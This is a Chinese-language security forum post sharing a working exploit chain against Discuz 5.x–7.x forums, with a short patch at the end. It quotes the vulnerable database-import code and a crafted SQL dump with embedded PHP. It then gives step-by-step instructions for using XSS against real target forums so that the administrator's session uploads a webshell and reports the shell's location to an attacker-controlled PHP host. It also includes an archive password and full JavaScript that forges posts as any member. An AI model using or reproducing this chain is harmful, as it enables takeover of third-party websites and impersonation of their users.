服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 6202|回复: 2

通杀Discuz 5.x 6.x 7.x EXP--database XSS

[复制链接]
dirtysea 发表于 2008-12-25 21:58:15 | 显示全部楼层 |阅读模式
受影响版本Discuz 5.0 _ 5.5 _ 6.0 _ 6.1 _ 7.0 gbk+utf+big5


-----------------------------------------------------------前言-------------------------------------------------------------------------

最近DZ漏洞多多,而且都比较有趣.上次天阳公布的后台修改配置信息的漏洞,因为DZ6.1以后版本都默认补了,相信不少小黑很失望.但是最近,Superhei&ring04h又爆出了一个后台database.inc.php的漏洞,该洞目前为止没补丁.一个XSS点或者FLASH-XSS,CRSF,所有DZ版本通杀.

这个漏洞本身需要后台权限,怎么才能以普通会员身份所用?
分析过程中幸得Superhei提点.加快了进度.在此感谢.


本帖受TIM邀请发布~~需要注意的一点是这个EXP是非常有争对和目标性的,一般是做有争对性的攻击时使用.我非常建议你先好好看看本文和相关的3个帖子.用之前需要勘察对方论坛的版本,上传目录是否更改过,存在哪些XSS问题.然后在把这个EXP做相应修改,再开始使用.这样只要你的方法对路,自然能获得其WEBSHELL.
附件密码回复可见.回帖的朋友,再送你一个意外惊喜.这里只做技术研究,点到为止,同时为大家附上修补方法,回复可见!

本论坛相关的三篇文章:
[已更新]Discuz XSS得webshell
配合Discuz得shell-Flash XSS
立刻送上一个DZ XSS.哈哈.




-------------------------------------------------原漏洞详细解析-----------------------------------------------------------------------------
这里引用该漏洞原来的介绍:

Discuz! admin\database.inc.php get-webshell bug

author: ring04h
team:http://www.80vul.com

[该漏洞由ring04h发现并且投递,thx]
由于Discuz!的admin\database.inc.php里action=importzip解压zip文件时,导致可以得到webshell.

一 分析

在文件admin\database.inc.php里代码:

.....
elseif($operation == 'importzip') {

require_once DISCUZ_ROOT.'admin/zip.func.php';
$unzip = new SimpleUnzip();
$unzip->ReadFile($datafile_server);
if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match("/\.sql$/i", $importfile = $unzip->GetName(0))) {
cpmsg('database_import_file_illegal', '', 'error');
}

$identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip->GetData(0), 0, 256))));
$confirm = !empty($confirm) ? 1 : 0;
if(!$confirm && $identify[1] != $version) {
cpmsg('database_import_confirm', 'admincp.php?action=database&operation=importzip&datafile_server=$datafile_server&importsubmit=yes&confirm=yes', 'form');
}

$sqlfilecount = 0;
foreach($unzip->Entries as $entry) {
if(preg_match("/\.sql$/i", $entry->Name)) {
$fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');
fwrite($fp, $entry->Data);
fclose($fp);
$sqlfilecount++;
}
}
......

注意2点
1. preg_match("/\.sql$/i", $importfile = $unzip->GetName(0)) 可以利用apache的特性如081127_k4pFUs3C-1.php.sql这样类似的文件.
2. $identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip->GetData(0), 0, 256)))); 所以要注意文件格式:[可以先备用下然后修改打包为zip]

# Identify: MTIyNzc1NzEyNSw2LjEuMCxkaXNjdXosbXVsdGl2b2wsMQ==
# <?phpinfo();?>
# <?exit();?>
# Discuz! Multi-Volume Data Dump Vol.1
# Version: Discuz! 6.1.0
# Time: 2008-11-27 11:38
# Type: discuz
# Table Prefix: cdb_

二 利用

提交:

<6.0 :admincp.php?action=importzip&datafile_server=./附件路径/附件名.zip&importsubmit=yes
=6.1 :admincp.php?action=database&operation=importzip&datafile_server=./附件路径/附件名称.zip&importsubmit=yes&frames=yes

三 补丁[fix]


漏洞起因很清楚了,疏忽大意是安全最大的敌人.




------------------------------------------------大至XSS广泛利用原理---------------------------------------------------------------------
很简单,还是XSS等延伸.

XSS跳到JS,JS获得管理员HASH,模拟POST+GET提交这个备份数据库解压缩工作.这里关键主要两个:
一是上传后的物理路径如何获得.
二是备份后的路径如何获得.

一采用读取后台管理信息取得.
二通过geturl发送到外部文件中去.

其他的所有技术细节,在上面两篇文章都有说过.欢迎大家回去看看.




-------------------------------------------------------广泛利用及测试办法---------------------------------------------------------------------
附件提供3个附件,分别争对DZ 6.0 6.1 7.0三个版本.其他版本和这三个版本的差别主要在数据库导出的文件版本不同,还有一些很细微的小差异,我就不弄了.你有需要的话,自己看前面的帖子,搞明白怎么回事,就可以自己改了.

每个附件里面有3个文件,一个PHP,一个JS,一个ZIP.JS文件里面要修改1个小地方,里面都有说明.这里就不多说了.
racle.php要放到你自己的空间里,要支持PHP的空间.这个文件当管理员中招以后,会在同目录位置写出个listdewebshell.txt,里面是你的WEBSHELL所在位置.
racle.js是要XSS的JS文件.放哪里都可以.
racle2@tian6.zip是你要上传到该论坛的压缩文件.

利用具体步骤为:找到目标论坛,注册一个用户,然后上传一个racle2@tian6.zip.然后把PHP放在你的空间,把JS也放好,然后在目标论坛XSS这个racle.js,然后就等.一旦PHP文件同目录下出现了listdewebshell.txt,你就可以偷笑了.


测试具体步骤为:本地搭建任一版本DZ,随便选一个PHP,在最前面加上<script src=racle.js></script>,同时racle.js,racle.php放在该PHP同目录下,进入论坛,点击包含JS的PHP文件,即产生listdewebshell.txt.


-------------------------------------------------------注意事项---------------------------------------------------------------------
目前该漏洞属于通杀,也就是管理员中了你的XSS,就有WEBSHELL.DZ官网也如此.
但是有几个原则问题要说明一下:

首先是对方论坛的上传路径,上传文件目录什么的,要求没有改过.一般99%都没改过.改过也不是没办法,你先上传个图片,看看对方的物理路径是什么,然后改改文件就PASS了.

其次是你在别人论坛注册的用户名不要上传别的文件,只上传一次相应的ZIP.

然后是这几个ZIP文件我不保证也能用在别人的版本上,按道理是没问题的.这几个ZIP就是数据库备份出来的SQL文件的修改压缩版本.你不妨打开这些ZIP文件里面的SQL文件看看就知道我改了什么.

如果你使用出现什么bugs,欢迎回贴告诉我.能解决就解决掉~~



-----------------------------------------------解压密码及意外惊喜----------------------------------------------------------------

以下内容跟帖回复才能看到
==============================

密码为:tian6.comismydude

既然你回帖了,就再另外送你一个XSS,冒充论坛任意成员在任意版块发任何帖的JS.纯属娱乐,希望大家不要捣乱.转帖也要注明出处.racle@tian6.com.效果也是通杀所有DZ论坛版本.这个是6.1版本的.不同版本有很小差异,自己改改就可以了.

var url="http://论坛地址/";
var subject="what a funny subject~~^^"; //帖子标题
var contenu="what is racle?"; //帖子内容
var channelid="2";想要对方发在版块的ID.

var request = false;
       if(window.XMLHttpRequest) {
         request = new XMLHttpRequest();
         if(request.overrideMimeType) {
            request.overrideMimeType('text/xml');
         }
       } else if(window.ActiveXObject) {
         var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
         for(var i=0; i<versions.length; i++) {
            try {
                   request = new ActiveXObject(versions);
            } catch(e) {}
         }
       }
xmlHttpReq=request;
/*hash*/

xmlHttpReq.open("GET", url+"memcp.php", false);
xmlHttpReq.send(null);
var resource = xmlHttpReq.responseText;
var numero = resource.search(/formhash/);
var formhash=encodeURIComponent(resource.substr(numero+9,8));

var post=decodeURI("formhash="+formhash+"&frombbs=1&subject="+subject+"&posteditor_mediatyperadio=on&message="+contenu+"&attach[]=&filename===&localid[]=&attachperm[]=0&attachprice[]=0&attachdesc[]=&attach[]=&filename===&localid[]=1&attachperm[]=0&attachprice[]=0&attachdesc[]=&tags=&readperm=0&price=0&iconid=0&wysiwyg=0");
xmlHttpReq.open("POST",url+"post.php?action=newthread&fid="+channelid+"&extra=page%3D1&topicsubmit=yes",false);
xmlHttpReq.setRequestHeader("Referer", url);
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
xmlHttpReq.setRequestHeader("content-length",post.length);
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
xmlHttpReq.send(post);

附上database.inc.php漏洞修补办法:

admin\database.inc.php

搜索$sqlfilecount = 0;,找到
$sqlfilecount = 0;
foreach($unzip->Entries as $entry) {
if(preg_match("/\.sql$/i", $entry->Name)) {
$fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');
fwrite($fp, $entry->Data);
fclose($fp);
$sqlfilecount++;

改成
$sqlfilecount = 0;
foreach($unzip->Entries as $entry) {
if(preg_match("/\.sql$/i", $entry->Name)) {
$fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');
            fwrite($fp, '<?php exit;?>');
fwrite($fp, $entry->Data);
fclose($fp);
$sqlfilecount++;



==============================
新疆人胡胡 发表于 2006-6-15 23:33:15 | 显示全部楼层

re:通杀Discuz 5.x 6.x 7.x EXP--database XSS

灌水闲聊讨论区好不好呀??????
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-4-30 20:37 , Processed in 0.192941 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表